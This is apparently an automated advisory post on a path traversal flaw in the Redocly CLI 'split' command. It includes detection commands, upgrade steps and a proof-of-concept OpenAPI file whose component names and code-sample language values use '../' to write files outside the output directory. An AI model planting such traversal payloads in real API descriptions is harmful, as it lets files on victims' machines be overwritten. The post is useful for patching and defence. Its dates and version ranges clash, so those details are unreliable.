Listen to this Post
CVE-2026-63225 is a path traversal vulnerability (CWE-22) affecting the `split` command in Redocly CLI versions before 2.33.2. The vulnerability arises because the `split` command constructs output file paths under the user-specified `–outDir` directory using untrusted data from OpenAPI or AsyncAPI component names and `x-codeSamples` lang values. It fails to verify that the resolved target path remains within the selected output directory. An attacker can supply a malicious API description containing literal `../` traversal sequences in these fields, causing the `split` command to write or overwrite files outside the intended --outDir. The impact is constrained: component data is only emitted as YAML or JSON, and code-sample filenames are based on the HTTP method, so an attacker has limited control over the name and contents of the written files. The vulnerability requires user interaction, as the victim must run the `split` command against a crafted description. The CVSS v3.1 base score is 4.4, indicating a medium severity with low integrity and availability impact.
DailyCVE Form:
Platform: Redocly CLI
Version: < 1.34.17, >= 2.0.0, < 2.33.2
Vulnerability: Path Traversal
Severity: Moderate
date: Sep 17, 2026
Prediction: Patch date expected: Jun 16, 2026
What Undercode Say:
Analytics
Check installed Redocly CLI version npx @redocly/cli --version Check for vulnerable version range npm list @redocly/cli Search for traversal sequences in API description grep -n "../" openapi.yaml Check component names for traversal yq '.components.schemas | keys' openapi.yaml | grep "../" Check x-codeSamples lang values for traversal yq '.paths[]..x-codeSamples[].lang' openapi.yaml | grep "../"
Exploit: (Educational Purposes!)
Malicious OpenAPI description (openapi.yaml)
openapi: 3.0.0
info:
Test API
version: 1.0.0
paths:
/test:
get:
x-codeSamples:
- lang: "../../../../tmp/malicious_sample"
source: |
console.log("test")
responses:
'200':
description: OK
components:
schemas:
../../../tmp/malicious_component:
type: object
properties:
test:
type: string
Run split against malicious description npx @redocly/cli split openapi.yaml --outDir ./output Result: files written outside ./output directory ls -la /tmp/malicious_
Protection: from this CVE
Upgrade to patched version npm install @redocly/[email protected] Or for v1.x users npm install @redocly/[email protected] Workaround: Do not run split on untrusted API descriptions Verify description source before processing
Impact:
An attacker can place or overwrite files at unintended paths on the machine of anyone who runs the `split` command against a malicious API description. The write is constrained to YAML/JSON content for component data and HTTP-method-named files for code samples, limiting the attacker’s control over file names and contents. The CVSS v3.1 vector is CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L, resulting in a base score of 4.4 (Medium).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
